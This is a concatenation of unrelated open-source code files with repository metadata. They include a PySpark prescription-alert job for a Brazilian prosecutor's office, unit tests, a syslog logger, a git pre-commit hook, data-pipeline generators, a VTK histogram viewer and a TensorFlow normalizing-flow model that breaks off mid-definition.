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src/alertas/alerta_prcr.py
MinisterioPublicoRJ/Alertas
2
12764251
<gh_stars>1-10 #-*-coding:utf-8-*- from pyspark.sql.types import IntegerType, TimestampType from pyspark.sql.functions import * from base import spark from utils import uuidsha columns = [ col('docu_dk').alias('alrt_docu_dk'), col('docu_nr_mp').alias('alrt_docu_nr_mp'), col('docu_orgi_orga_dk_responsavel').alias('alrt_orgi_orga_dk'), col('elapsed').alias('alrt_dias_referencia') ] columns_alias = [ col('alrt_docu_dk'), col('alrt_docu_nr_mp'), col('alrt_orgi_orga_dk'), col('alrt_dias_referencia') ] key_columns = [ col('alrt_docu_dk') ] def alerta_prcr(options): # data do fato será usada para a maioria dos cálculos # Caso a data do fato seja NULL, ou seja maior que a data de cadastro, usar cadastro como data do fato # Apenas códigos de pacotes de PIPs # Mantém-se a data do fato original (mesmo NULL ou maior que dt cadastro) para a tabela de metadados do cálculo doc_pena = spark.sql(""" SELECT docu_dk, docu_nr_mp, docu_nr_externo, docu_tx_etiqueta, docu_dt_fato as docu_dt_fato_original, CASE WHEN docu_dt_fato < docu_dt_cadastro THEN docu_dt_fato ELSE docu_dt_cadastro END as docu_dt_fato, docu_dt_cadastro, docu_orgi_orga_dk_responsavel, cls.id as cldc_dk, cls.cod_mgp as cldc_ds_classe, cls.hierarquia as cldc_ds_hierarquia, tpa.id, tpa.artigo_lei, tpa.max_pena, tpa.nome_delito, tpa.multiplicador, tpa.abuso_menor FROM documentos_ativos LEFT JOIN {0}.mmps_classe_docto cls ON cls.id = docu_cldc_dk JOIN {1}.mcpr_assunto_documento ON docu_dk = asdo_docu_dk JOIN {0}.tb_penas_assuntos tpa ON tpa.id = asdo_assu_dk JOIN {0}.atualizacao_pj_pacote ON docu_orgi_orga_dk_responsavel = id_orgao WHERE docu_dt_cadastro >= '2010-01-01' AND max_pena IS NOT NULL AND cod_pct IN (200, 201, 202, 203, 204, 205, 206, 207, 208, 209) AND asdo_dt_fim IS NULL -- tira assuntos que acabaram """.format(options['schema_exadata_aux'], options['schema_exadata']) ) doc_pena.createOrReplaceTempView('DOC_PENA') # Calcula tempos de prescrição a partir das penas máximas # Caso um dos assuntos seja multiplicador, multiplicar as penas pelo fator doc_prescricao = spark.sql(""" WITH PENA_FATORES AS ( SELECT docu_dk, EXP(SUM(LN(max_pena))) AS fator_pena, concat_ws(', ', collect_list(nome_delito)) AS delitos_multiplicadores FROM DOC_PENA WHERE multiplicador = 1 GROUP BY docu_dk ) SELECT *, CASE WHEN max_pena_fatorado < 1 THEN 3 WHEN max_pena_fatorado < 2 THEN 4 WHEN max_pena_fatorado < 4 THEN 8 WHEN max_pena_fatorado < 8 THEN 12 WHEN max_pena_fatorado < 12 THEN 16 ELSE 20 END AS tempo_prescricao FROM ( SELECT P.*, CASE WHEN fator_pena IS NOT NULL THEN max_pena * fator_pena ELSE max_pena END AS max_pena_fatorado, fator_pena, delitos_multiplicadores FROM DOC_PENA P LEFT JOIN PENA_FATORES F ON F.docu_dk = P.docu_dk WHERE multiplicador = 0 ) t """) doc_prescricao.createOrReplaceTempView('DOC_PRESCRICAO') # Se o acusado tiver < 21 ou >= 70, seja na data do fato ou na data presente, multiplicar tempo_prescricao por 0.5 doc_prescricao_fatorado = spark.sql(""" WITH PRESCRICAO_FATORES AS ( SELECT docu_dk, investigado_pess_dk, investigado_nm, CASE WHEN NOT (dt_compare >= dt_21 AND current_timestamp() < dt_70) THEN 0.5 ELSE NULL END AS fator_prescricao FROM ( SELECT DISTINCT docu_dk, pesf_pess_dk as investigado_pess_dk, pesf_nm_pessoa_fisica as investigado_nm, add_months(pesf_dt_nasc, 21 * 12) AS dt_21, add_months(pesf_dt_nasc, 70 * 12) AS dt_70, docu_dt_fato AS dt_compare FROM DOC_PRESCRICAO JOIN {0}.mcpr_personagem ON pers_docu_dk = docu_dk JOIN {0}.mcpr_pessoa_fisica ON pers_pesf_dk = pesf_pess_dk WHERE pers_tppe_dk IN (290, 7, 21, 317, 20, 14, 32, 345, 40, 5, 24) AND pesf_nm_pessoa_fisica != 'MP' ) t ) SELECT P.*, CASE WHEN fator_prescricao IS NOT NULL THEN tempo_prescricao * fator_prescricao ELSE tempo_prescricao END AS tempo_prescricao_fatorado, fator_prescricao IS NOT NULL AS investigado_maior_70_menor_21, investigado_pess_dk, investigado_nm FROM DOC_PRESCRICAO P LEFT JOIN PRESCRICAO_FATORES F ON F.docu_dk = P.docu_dk """.format(options['schema_exadata'])) doc_prescricao_fatorado.createOrReplaceTempView('DOC_PRESCRICAO_FATORADO') # Calcular data inicial de prescrição # Casos em que houve rescisão de acordo de não persecução penal, data inicial é a data do andamento spark.sql(""" SELECT vist_docu_dk, pcao_dt_andamento FROM vista JOIN {0}.mcpr_andamento ON vist_dk = pcao_vist_dk JOIN {0}.mcpr_sub_andamento ON stao_pcao_dk = pcao_dk WHERE stao_tppr_dk = 7920 AND year_month >= 201901 """.format(options['schema_exadata']) ).createOrReplaceTempView('DOCS_ANPP') # Casos de abuso de menor, data inicial é a data de 18 anos do menor, # no caso em que o menor tinha menos de 18 na data do fato/cadastro # Prioridade de data inicial: data de 18 anos (caso abuso menor), rescisão de acordo ANPP, dt_fato dt_inicial = spark.sql(""" WITH DOCS_ABUSO_MENOR AS ( SELECT docu_dk, MAX(dt_18_anos) AS dt_18_anos FROM ( SELECT docu_dk, CASE WHEN dt_18_anos > docu_dt_fato THEN dt_18_anos ELSE NULL END AS dt_18_anos FROM DOC_PRESCRICAO_FATORADO P JOIN {0}.mcpr_personagem ON pers_docu_dk = docu_dk JOIN ( SELECT PF.*, cast(add_months(pesf_dt_nasc, 18*12) as timestamp) AS dt_18_anos FROM {0}.mcpr_pessoa_fisica PF ) t ON pers_pesf_dk = pesf_pess_dk WHERE abuso_menor = 1 AND pers_tppe_dk IN (3, 13, 18, 6, 248, 290) ) t2 GROUP BY docu_dk ) SELECT P.*, CASE WHEN dt_18_anos IS NOT NULL AND abuso_menor = 1 THEN dt_18_anos WHEN pcao_dt_andamento IS NOT NULL THEN pcao_dt_andamento ELSE docu_dt_fato END AS dt_inicial_prescricao, dt_18_anos AS vitima_menor_mais_jovem_dt_18_anos, pcao_dt_andamento AS dt_acordo_npp FROM DOC_PRESCRICAO_FATORADO P LEFT JOIN DOCS_ANPP ON vist_docu_dk = docu_dk LEFT JOIN DOCS_ABUSO_MENOR M ON M.docu_dk = P.docu_dk """.format(options['schema_exadata'])) dt_inicial.createOrReplaceTempView('DOCS_DT_INICIAL_PRESCRICAO') # Data de prescrição = data inicial de prescrição + tempo de prescrição resultado = spark.sql(""" SELECT D.*, cast(add_months(dt_inicial_prescricao, tempo_prescricao_fatorado * 12) as timestamp) AS data_prescricao FROM DOCS_DT_INICIAL_PRESCRICAO D """).\ withColumn("elapsed", lit(datediff(current_date(), 'data_prescricao')).cast(IntegerType())) resultado.createOrReplaceTempView('TEMPO_PARA_PRESCRICAO') spark.catalog.cacheTable("TEMPO_PARA_PRESCRICAO") # Tabela de detalhes dos alertas, para ser usada no overlay do alerta, e também para debugging spark.sql(""" SELECT docu_dk AS adpr_docu_dk, investigado_pess_dk as adpr_investigado_pess_dk, investigado_nm as adpr_investigado_nm, nome_delito as adpr_nome_delito, id as adpr_id_assunto, artigo_lei as adpr_artigo_lei, abuso_menor as adpr_abuso_menor, max_pena as adpr_max_pena, delitos_multiplicadores as adpr_delitos_multiplicadores, fator_pena as adpr_fator_pena, max_pena_fatorado as adpr_max_pena_fatorado, tempo_prescricao as adpr_tempo_prescricao, investigado_maior_70_menor_21 as adpr_investigado_prescricao_reduzida, tempo_prescricao_fatorado as adpr_tempo_prescricao_fatorado, vitima_menor_mais_jovem_dt_18_anos as adpr_dt_18_anos_menor_vitima, dt_acordo_npp as adpr_dt_acordo_npp, docu_dt_fato_original as adpr_docu_dt_fato, docu_dt_cadastro as adpr_docu_dt_cadastro, cast(dt_inicial_prescricao as string) as adpr_dt_inicial_prescricao, data_prescricao as adpr_dt_final_prescricao, elapsed as adpr_dias_prescrito FROM TEMPO_PARA_PRESCRICAO """).write.mode('overwrite').saveAsTable('{}.{}'.format( options['schema_alertas'], options['prescricao_tabela_detalhe'] ) ) LIMIAR_PRESCRICAO_PROXIMA = -options['prescricao_limiar'] subtipos = spark.sql(""" SELECT T.*, CASE WHEN elapsed > 0 THEN 2 -- prescrito WHEN elapsed <= {LIMIAR_PRESCRICAO_PROXIMA} THEN 0 -- nem prescrito nem proximo ELSE 1 -- proximo de prescrever END AS status_prescricao FROM TEMPO_PARA_PRESCRICAO T """.format( LIMIAR_PRESCRICAO_PROXIMA=LIMIAR_PRESCRICAO_PROXIMA) ) max_min_status = subtipos.groupBy(columns[:-1]).agg(min('status_prescricao'), max('status_prescricao'), min('elapsed')).\ withColumnRenamed('max(status_prescricao)', 'max_status').\ withColumnRenamed('min(status_prescricao)', 'min_status').\ withColumnRenamed('min(elapsed)', 'alrt_dias_referencia') max_min_status.createOrReplaceTempView('MAX_MIN_STATUS') # Os WHEN precisam ser feitos na ordem PRCR1, 2, 3 e depois 4! resultado = spark.sql(""" SELECT T.*, CASE WHEN min_status = 2 THEN 'PRCR1' -- todos prescritos WHEN min_status = 1 THEN 'PRCR2' -- todos próximos de prescrever WHEN max_status = 2 THEN 'PRCR3' -- subentende-se min=0 aqui, logo, algum prescrito (mas não todos próximos) WHEN max_status = 1 THEN 'PRCR4' -- subentende-se min=0, logo, nenhum prescrito, mas algum próximo (não todos) ELSE NULL -- não entra em nenhum caso (será filtrado) END AS alrt_sigla, CASE WHEN min_status = 2 THEN 'Todos os crimes prescritos' WHEN min_status = 1 THEN 'Todos os crimes próximos de prescrever' WHEN max_status = 2 THEN 'Algum crime prescrito' WHEN max_status = 1 THEN 'Algum crime próximo de prescrever' ELSE NULL END AS alrt_descricao FROM MAX_MIN_STATUS T """) resultado = resultado.filter('alrt_sigla IS NOT NULL').select(columns_alias + ['alrt_sigla', 'alrt_descricao']) resultado = resultado.withColumn('alrt_key', uuidsha(*key_columns)) return resultado
2.359375
2
tests/generators/ios/test_ios_template_methods.py
brianleungwh/signals
3
12764252
import unittest from signals.generators.ios.ios_template_methods import iOSTemplateMethods from signals.parser.fields import Field from signals.parser.api import GetAPI, API, PatchAPI from tests.utils import create_dynamic_schema class iOSTemplateMethodsTestCase(unittest.TestCase): def test_get_url_name(self): self.assertEqual(iOSTemplateMethods.get_url_name("/post/:id/favorite/"), "PostWithIdFavorite") def test_method_name(self): api = GetAPI("post/", { "response": { "200+": "$postResponse" } }) self.assertEqual(iOSTemplateMethods.method_name(api), "PostWithSuccess") api = GetAPI("post/:id/", { "response": { "200+": "$postResponse" } }) self.assertEqual(iOSTemplateMethods.method_name(api), "PostWithTheID") objects_json = { '$postRequest': {"body": "string", "title": "string"}, '$postResponse': {"body": "string", "title": "string"} } urls_json = [ { "url": "post/:id/", "patch": { "request": "$postRequest", "response": { "200+": "$postResponse" } } } ] schema = create_dynamic_schema(objects_json, urls_json) self.assertEqual(iOSTemplateMethods.method_name(schema.urls[0].patch), "PostWithBody") def test_content_type(self): api = GetAPI("post/", { "response": { "200+": "$postResponse" } }) self.assertEqual(iOSTemplateMethods.content_type(api), "RKMIMETypeJSON") api.content_type = API.CONTENT_TYPE_FORM self.assertEqual(iOSTemplateMethods.content_type(api), "RKMIMETypeFormURLEncoded") def test_media_field_check(self): fields = [ Field("video", ["video"]), Field("image", ["image"]) ] media_field_statement = iOSTemplateMethods.media_field_check(fields) self.assertEqual(media_field_statement, "video != nil || image != nil")
2.484375
2
calf/logging.py
brutasse/calf
2
12764253
<filename>calf/logging.py import json import syslog levels = {level: getattr(syslog, 'LOG_{}'.format(level.upper())) for level in ['emerg', 'alert', 'crit', 'err', 'warning', 'notice', 'info', 'debug']} log_level = levels['info'] def set_level(level): global log_level log_level = levels[level] def log(msg, level='info', **kwargs): pri = getattr(syslog, 'LOG_{}'.format(level.upper()), syslog.LOG_INFO) if pri <= log_level: kwargs.update({ 'event': msg, '_type': 'calf', }) syslog.syslog(pri, json.dumps(kwargs, separators=(',', ':')))
2.265625
2
pgv_example.py
MelyPic/labgaif
0
12764254
<filename>pgv_example.py from itertools import product import pygraphviz as pgv d = pgv.AGraph(compound = "True") # compound allows for edge clipping at clusters d.add_edges_from(product('ABCD', 'FGH')) d.add_subgraph(nbunch = 'BC', name = 'clusterBC', style = 'filled', color = 'yellow') d.add_node('X') d.add_edge('X', 'B', lhead = 'clusterBC') # lhead does the clipping if compound is true # ~ d.layout() # unnecessary if "draw" is called next d.draw('d.png', prog = "dot") # ~ G = pgv.AGraph(directed=True) # ~ G.add_node(1) # ~ G.add_node(2) # ~ G.add_node(3) # ~ G.add_node(4) # ~ G1 = G.subgraph(nbunch=[1,2],name="cluster1") # ~ G2 = G.subgraph(nbunch=[3,4],name="cluster2") # ~ G.add_edge(1, 3, ltail = "cluster1") # ~ G.write("g0.dot") # ~ G.layout() # ~ G.write("g1.dot") # ~ G.draw('g.png', prog = "dot")
3
3
modules/__init__.py
tinnguyen96/partition-coupling
0
12764255
# todos # add a compress function (triple Mode can create over 1000 files in a directory, which # put strain on Supercloud).
1.070313
1
examples/single_objective/test_1/ea_config_ex_1.py
gmonterovillar/HAMON
4
12764256
<reponame>gmonterovillar/HAMON ##============================ ea_config_ex_1.py ================================ # Some of the input parameters and options in order to select the settings of the # evolutionary algorithm are given here for the minimization of the De Jong’s fifth # function or Shekel’s foxholes using Genetic Algorithms. EA_type = 'GA' pop_size = 80 n_gen = 200 mut_rate = -1 n_gen_var = 15 cross_rate = 0.7 tour_sel_param = 0.8
1.835938
2
pre-commit.py
nim65s/scripts
1
12764257
<gh_stars>1-10 #!/usr/bin/env python3 from subprocess import check_output from sys import exit from flake8.main import application, git from isort import SortImports def hook(lazy=False, strict=False): """Execute Flake8 on the files in git's index. Determine which files are about to be committed and run Flake8 over them to check for violations. NB: Nim updated from 1:3.2.1-1 to add a filter on python files… :param bool lazy: Find files not added to the index prior to committing. This is useful if you frequently use ``git commit -a`` for example. This defaults to False since it will otherwise include files not in the index. :param bool strict: If True, return the total number of errors/violations found by Flake8. This will cause the hook to fail. :returns: Total number of errors found during the run. :rtype: int """ with git.make_temporary_directory() as tempdir: filepaths = [] for filepath in git.copy_indexed_files_to(tempdir, lazy): if not filepath.endswith('.py'): with open(filepath) as f: try: if any(s not in f.readline().lower() for s in ('#', 'python')): continue except: continue filepaths.append(filepath) if not filepaths: return 0 app = application.Application() app.initialize(['.']) app.options.exclude = git.update_excludes(app.options.exclude, tempdir) app.run_checks(filepaths) app.report_errors() return app.result_count if strict else 0 for path in check_output(['git', 'status', '--porcelain']).decode('utf-8').split('\n'): path = path.strip().split() if not path: continue if path[0] in 'AMR': path = ' '.join(path[3 if path[0] == 'R' else 1:]) if path.endswith('.py'): SortImports(path) # isort modifies the files… check_output(['git', 'update-index', '--add', path]) elif path[0] != 'D': print(path) exit(hook(strict=True, lazy=True))
2.28125
2
great_expectations/datasource/generator/filesystem_path_generator.py
scarrucciu/great_expectations
0
12764258
<gh_stars>0 import os import time import glob from great_expectations.datasource.generator.batch_generator import BatchGenerator from great_expectations.exceptions import BatchKwargsError KNOWN_EXTENSIONS = ['.csv', '.tsv', '.parquet', '.xls', '.xlsx', '.json'] class GlobReaderGenerator(BatchGenerator): def __init__(self, name="default", datasource=None, base_directory="/data", reader_options=None, asset_globs=None): super(GlobReaderGenerator, self).__init__(name, type_="glob_reader", datasource=datasource) if reader_options is None: reader_options = {} if asset_globs is None: asset_globs = { "default": "*" } self._base_directory = base_directory self._reader_options = reader_options self._asset_globs = asset_globs @property def reader_options(self): return self._reader_options @property def asset_globs(self): return self._asset_globs @property def base_directory(self): # If base directory is a relative path, interpret it as relative to the data context's # context root directory (parent directory of great_expectation dir) if os.path.isabs(self._base_directory) or self._datasource.get_data_context() is None: return self._base_directory else: return os.path.join(self._datasource.get_data_context().root_directory, self._base_directory) def get_available_data_asset_names(self): known_assets = set() if not os.path.isdir(self.base_directory): return known_assets for generator_asset in self.asset_globs.keys(): batch_paths = glob.glob(os.path.join(self.base_directory, self.asset_globs[generator_asset])) if len(batch_paths) > 0: known_assets.add(generator_asset) return known_assets def _get_iterator(self, generator_asset, **kwargs): if generator_asset not in self._asset_globs: batch_kwargs = { "generator_asset": generator_asset, } batch_kwargs.update(kwargs) raise BatchKwargsError("Unknown asset_name %s" % generator_asset, batch_kwargs) glob_ = self.asset_globs[generator_asset] paths = glob.glob(os.path.join(self.base_directory, glob_)) return self._build_batch_kwargs_path_iter(paths) def _build_batch_kwargs_path_iter(self, path_list): for path in path_list: yield self._build_batch_kwargs(path) def _build_batch_kwargs(self, path): # We could add MD5 (e.g. for smallish files) # but currently don't want to assume the extra read is worth it # unless it's configurable # with open(path,'rb') as f: # md5 = hashlib.md5(f.read()).hexdigest() batch_kwargs = { "path": path, "timestamp": time.time() } batch_kwargs.update(self.reader_options) return batch_kwargs class SubdirReaderGenerator(BatchGenerator): """The SubdirReaderGenerator inspects a filesytem and produces batch_kwargs with a path and timestamp. SubdirReaderGenerator recognizes generator_asset using two criteria: - for files directly in 'base_directory' with recognized extensions (.csv, .tsv, .parquet, .xls, .xlsx, .json), it uses the name of the file without the extension - for other files or directories in 'base_directory', is uses the file or directory name SubdirReaderGenerator sees all files inside a directory of base_directory as batches of one datasource. SubdirReaderGenerator can also include configured reader_options which will be added to batch_kwargs generated by this generator. """ def __init__(self, name="default", datasource=None, base_directory="/data", reader_options=None): super(SubdirReaderGenerator, self).__init__(name, type_="subdir_reader", datasource=datasource) if reader_options is None: reader_options = {} self._reader_options = reader_options self._base_directory = base_directory @property def reader_options(self): return self._reader_options @property def base_directory(self): # If base directory is a relative path, interpret it as relative to the data context's # context root directory (parent directory of great_expectation dir) if os.path.isabs(self._base_directory) or self._datasource.get_data_context() is None: return self._base_directory else: return os.path.join(self._datasource.get_data_context().root_directory, self._base_directory) def get_available_data_asset_names(self): if not os.path.isdir(self.base_directory): return set() known_assets = self._get_valid_file_options(valid_options=set(), base_directory=self.base_directory) return known_assets def _get_valid_file_options(self, valid_options=set(), base_directory=None): if base_directory is None: base_directory = self.base_directory file_options = os.listdir(base_directory) for file_option in file_options: for extension in KNOWN_EXTENSIONS: if file_option.endswith(extension) and not file_option.startswith("."): valid_options.add(file_option[:-len(extension)]) elif os.path.isdir(os.path.join(self.base_directory, file_option)): subdir_options = self._get_valid_file_options(valid_options=set(), base_directory=os.path.join(base_directory, file_option)) if len(subdir_options) > 0: valid_options.add(file_option) # Make sure there's at least one valid file inside the subdir return valid_options def _get_iterator(self, generator_asset, **kwargs): # If the generator_asset is a file, then return the path. # Otherwise, use files in a subdir as batches if os.path.isdir(os.path.join(self.base_directory, generator_asset)): subdir_options = os.listdir(os.path.join(self.base_directory, generator_asset)) batches = [] for file_option in subdir_options: for extension in KNOWN_EXTENSIONS: if file_option.endswith(extension) and not file_option.startswith("."): batches.append(os.path.join(self.base_directory, generator_asset, file_option)) return self._build_batch_kwargs_path_iter(batches) # return self._build_batch_kwargs_path_iter(os.scandir(os.path.join(self.base_directory, generator_asset))) # return iter([{ # "path": os.path.join(self.base_directory, generator_asset, x) # } for x in os.listdir(os.path.join(self.base_directory, generator_asset))]) # ONLY allow KNOWN_EXPTENSIONS # elif os.path.isfile(os.path.join(self.base_directory, generator_asset)): # path = os.path.join(self.base_directory, generator_asset) # return iter([self._build_batch_kwargs(path)]) else: for extension in KNOWN_EXTENSIONS: path = os.path.join(self.base_directory, generator_asset + extension) if os.path.isfile(path): return iter([ self._build_batch_kwargs(path) ]) # If we haven't returned yet, raise raise IOError(os.path.join(self.base_directory, generator_asset)) # def _build_batch_kwargs_path_iter(self, path_iter): def _build_batch_kwargs_path_iter(self, path_list): for path in path_list: yield self._build_batch_kwargs(path) # Use below if we have an iterator (e.g. from scandir) # try: # while True: # yield { # "path": next(path_iter).path # } # except StopIteration: # return def _build_batch_kwargs(self, path): # We could add MD5 (e.g. for smallish files) # but currently don't want to assume the extra read is worth it # unless it's configurable # with open(path,'rb') as f: # md5 = hashlib.md5(f.read()).hexdigest() batch_kwargs = { "path": path, "timestamp": time.time() } batch_kwargs.update(self.reader_options) return batch_kwargs
2.171875
2
modules/viewers/histogram1D.py
chrisidefix/devide
25
12764259
<filename>modules/viewers/histogram1D.py from external import wxPyPlot import gen_utils from module_base import ModuleBase from module_mixins import IntrospectModuleMixin import module_utils try: import Numeric except: import numarray as Numeric import vtk import wx class histogram1D(IntrospectModuleMixin, ModuleBase): """Calculates and shows 1D histogram (occurrences over value) of its input data. $Revision: 1.3 $ """ def __init__(self, module_manager): ModuleBase.__init__(self, module_manager) self._imageAccumulate = vtk.vtkImageAccumulate() module_utils.setup_vtk_object_progress(self, self._imageAccumulate, 'Calculating histogram') self._viewFrame = None self._createViewFrame() self._bindEvents() self._config.numberOfBins = 256 self._config.minValue = 0.0 self._config.maxValue = 256.0 self.config_to_logic() self.logic_to_config() self.config_to_view() self.view() def close(self): for i in range(len(self.get_input_descriptions())): self.set_input(i, None) self._viewFrame.Destroy() del self._viewFrame del self._imageAccumulate ModuleBase.close(self) def get_input_descriptions(self): return ('VTK Image Data',) def set_input(self, idx, inputStream): self._imageAccumulate.SetInput(inputStream) def get_output_descriptions(self): return () def logic_to_config(self): # for now, we work on the first component (of a maximum of three) # we could make this configurable minValue = self._imageAccumulate.GetComponentOrigin()[0] cs = self._imageAccumulate.GetComponentSpacing() ce = self._imageAccumulate.GetComponentExtent() numberOfBins = ce[1] - ce[0] + 1 # again we use nob - 1 so that maxValue is also part of a bin maxValue = minValue + (numberOfBins-1) * cs[0] self._config.numberOfBins = numberOfBins self._config.minValue = minValue self._config.maxValue = maxValue def config_to_logic(self): co = list(self._imageAccumulate.GetComponentOrigin()) co[0] = self._config.minValue self._imageAccumulate.SetComponentOrigin(co) ce = list(self._imageAccumulate.GetComponentExtent()) ce[0] = 0 ce[1] = self._config.numberOfBins - 1 self._imageAccumulate.SetComponentExtent(ce) cs = list(self._imageAccumulate.GetComponentSpacing()) # we divide by nob - 1 because we want maxValue to fall in the # last bin... cs[0] = (self._config.maxValue - self._config.minValue) / \ (self._config.numberOfBins - 1) self._imageAccumulate.SetComponentSpacing(cs) def view_to_config(self): self._config.numberOfBins = gen_utils.textToInt( self._viewFrame.numBinsSpinCtrl.GetValue(), self._config.numberOfBins) self._config.minValue = gen_utils.textToFloat( self._viewFrame.minValueText.GetValue(), self._config.minValue) self._config.maxValue = gen_utils.textToFloat( self._viewFrame.maxValueText.GetValue(), self._config.maxValue) if self._config.minValue > self._config.maxValue: self._config.maxValue = self._config.minValue def config_to_view(self): self._viewFrame.numBinsSpinCtrl.SetValue( self._config.numberOfBins) self._viewFrame.minValueText.SetValue( str(self._config.minValue)) self._viewFrame.maxValueText.SetValue( str(self._config.maxValue)) def execute_module(self): if self._imageAccumulate.GetInput() == None: return self._imageAccumulate.Update() # get histogram params directly from logic minValue = self._imageAccumulate.GetComponentOrigin()[0] cs = self._imageAccumulate.GetComponentSpacing() ce = self._imageAccumulate.GetComponentExtent() numberOfBins = ce[1] - ce[0] + 1 maxValue = minValue + numberOfBins * cs[0] # end of param extraction histArray = Numeric.arange(numberOfBins * 2) histArray.shape = (numberOfBins, 2) od = self._imageAccumulate.GetOutput() for i in range(numberOfBins): histArray[i,0] = minValue + i * cs[0] histArray[i,1] = od.GetScalarComponentAsDouble(i,0,0,0) lines = wxPyPlot.PolyLine(histArray, colour='blue') self._viewFrame.plotCanvas.Draw( wxPyPlot.PlotGraphics([lines], "Histogram", "Value", "Occurrences") ) def view(self): self._viewFrame.Show() self._viewFrame.Raise() # --------------------------------------------------------------- # END of API methods # --------------------------------------------------------------- def _createViewFrame(self): # create the viewerFrame import modules.viewers.resources.python.histogram1DFrames reload(modules.viewers.resources.python.histogram1DFrames) self._viewFrame = module_utils.instantiate_module_view_frame( self, self._module_manager, modules.viewers.resources.python.histogram1DFrames.\ histogram1DFrame) self._viewFrame.plotCanvas.SetEnableZoom(True) self._viewFrame.plotCanvas.SetEnableGrid(True) objectDict = {'Module (self)' : self, 'vtkImageAccumulate' : self._imageAccumulate} module_utils.create_standard_object_introspection( self, self._viewFrame, self._viewFrame.viewFramePanel, objectDict, None) module_utils.create_eoca_buttons(self, self._viewFrame, self._viewFrame.viewFramePanel) def _bindEvents(self): wx.EVT_BUTTON(self._viewFrame, self._viewFrame.autoRangeButton.GetId(), self._handlerAutoRangeButton) def _handlerAutoRangeButton(self, event): if self._imageAccumulate.GetInput() == None: return self._imageAccumulate.GetInput().Update() sr = self._imageAccumulate.GetInput().GetScalarRange() self._viewFrame.minValueText.SetValue(str(sr[0])) self._viewFrame.maxValueText.SetValue(str(sr[1]))
2.453125
2
model_short.py
evantey14/glow
0
12764260
import numpy as np import tensorflow as tf import tfops_short as Z class model: def __init__(self, sess, hps, train_iterator, data_init): # === Define session self.sess = sess self.hps = hps # === Input tensors with tf.name_scope('input'): s_shape = [None, hps.n_bins, 1] self.s_placeholder = tf.compat.v1.placeholder(tf.float32, s_shape, name='spectra') self.lr_placeholder = tf.compat.v1.placeholder(tf.float32, None, name='learning_rate') self.train_iterator = train_iterator z_shape = [None, hps.n_bins/2**(hps.n_levels+1), 4] self.z_placeholder = tf.compat.v1.placeholder(tf.float32, z_shape, name='latent_rep') intermediate_z_shapes = [[None, hps.n_bins/2**(i+1), 2] for i in range(1, hps.n_levels)] self.intermediate_z_placeholders = [ tf.compat.v1.placeholder(tf.float32, shape) for shape in intermediate_z_shapes ] # === Loss and optimizer self.optimizer, self.loss, self.stats = self._create_optimizer() # === Encoding and decoding self.z, self.logpx, self.intermediate_zs = self._create_encoder(self.s_placeholder) self.s = self._create_decoder(self.z_placeholder) self.s_from_intermediate_zs = self._create_decoder(self.z_placeholder, self.intermediate_z_placeholders) # === Initialize sess.run(tf.compat.v1.global_variables_initializer()) # not sure if more initialization is needed? # === Saving and restoring with tf.device('/cpu:0'): saver = tf.compat.v1.train.Saver() self.save = lambda path: saver.save(sess, path, write_meta_graph=False) self.restore = lambda path: saver.restore(sess, path) def _create_optimizer(self): '''Set up optimizer to train on input train_iterator and learning rate.''' _, logpx, _ = self._create_encoder(self.train_iterator) bits_x = -logpx / (np.log(2.) * self.hps.n_bins) # bits per subpixel with tf.compat.v1.variable_scope('optimizer', reuse=tf.compat.v1.AUTO_REUSE): loss = tf.reduce_mean(bits_x) stats = tf.stack([tf.reduce_mean(loss)]) optimizer = tf.train.AdamOptimizer(learning_rate=self.lr_placeholder).minimize(loss) return optimizer, loss, stats def _create_encoder(self, x): '''Set up encoder tensors to pipe input spectra x to a latent representation Args: x: input tensor with shape [?, n_bins, 1], either a placeholder or data stream Returns: z: output tensor, contains the fully compressed latent representation logpx: tensor with shape [?,], the log likelihood of each spectrum intermediate_zs: list of tensors, the components dropped after splits ''' logpx = tf.zeros_like(x, dtype='float32')[:, 0, 0] # zeros tensor with shape (batch_size) intermediate_zs = [] z = Z.squeeze(x - .5, 4) # preprocess the input with tf.compat.v1.variable_scope('model', reuse=tf.compat.v1.AUTO_REUSE): for i in range(self.hps.n_levels): for j in range(self.hps.depth): z, logpx = self._flow_step('flow-level{}-depth{}'.format(i, j), z, logpx) if i < self.hps.n_levels - 1: z1, z2 = Z.split(z) intermediate_prior = self._create_prior(z2) logpx += intermediate_prior.logp(z2) intermediate_zs.append(z2) z = Z.squeeze(z1, 2) prior = self._create_prior(z) logpx += prior.logp(z) return z, logpx, intermediate_zs def _create_decoder(self, z, intermediate_zs=None): '''Set up decoder tensors to generate spectra from latent representation. Args: z: tensor where shape matches final latent representation. intermediate_zs: optional list of tensors, components removed during encoder splits. Returns: x: tensor with shape [?, n_bins, 1], spectra constructed from z. ''' with tf.compat.v1.variable_scope('model', reuse=tf.compat.v1.AUTO_REUSE): for i in reversed(range(self.hps.n_levels)): if i < self.hps.n_levels - 1: z1 = Z.unsqueeze(z, 2) if intermediate_zs is None: intermediate_prior = self._create_prior(z1) z2 = intermediate_prior.sample() else: z2 = intermediate_zs[i] z = Z.unsplit(z1, z2) for j in reversed(range(self.hps.depth)): z = self._reverse_flow_step('flow-level{}-depth{}'.format(i, j), z) x = Z.unsqueeze(z + .5, 4) # post-process spectra return x def _flow_step(self, name, z, logdet): with tf.compat.v1.variable_scope(name): z, logdet = Z.actnorm('actnorm', z, logdet) z, logdet = Z.invertible_1x1_conv('invconv', z, logdet, reverse=False) z1, z2 = Z.split(z) z2 += Z.f('f', z1, self.hps.width) z = Z.unsplit(z1, z2) return z, logdet def _reverse_flow_step(self, name, z): with tf.compat.v1.variable_scope(name): z1, z2 = Z.split(z) z2 -= Z.f('f', z1, self.hps.width) z = Z.unsplit(z1, z2) z, _ = Z.invertible_1x1_conv('invconv', z, 0, reverse=True) z = Z.actnorm_reverse('actnorm', z) return z def _create_prior(self, z): '''Create a unit normal Gaussian object with same shape as z.''' mu = tf.zeros_like(z, dtype='float32') logs = tf.zeros_like(z, dtype='float32') return Z.gaussian_diag(mu, logs) def train(self, lr): '''Run one training batch to optimize the network with learning rate lr. Returns: stats: statistics created in _create_optimizer. probably contains loss. ''' _, stats = self.sess.run([self.optimizer, self.stats], {self.lr_placeholder: lr}) return stats def encode(self, s): return self.sess.run([self.z, self.intermediate_zs], {self.s_placeholder: s}) def decode(self, z, intermediate_zs=None): '''Decode a latent representation with optional intermediate components. Returns: spectra, from z and intermediate zs. If no intermediate zs are provided, sample them randomly from unit normal distributions. ''' feed_dict = {self.z_placeholder: z} if intermediate_zs is None: return self.sess.run(self.s, feed_dict) else: for i in range(len(intermediate_zs)): feed_dict[self.intermediate_z_placeholders[i]] = intermediate_zs[i] return self.sess.run(self.s_from_intermediate_zs, feed_dict) def get_likelihood(self, s): 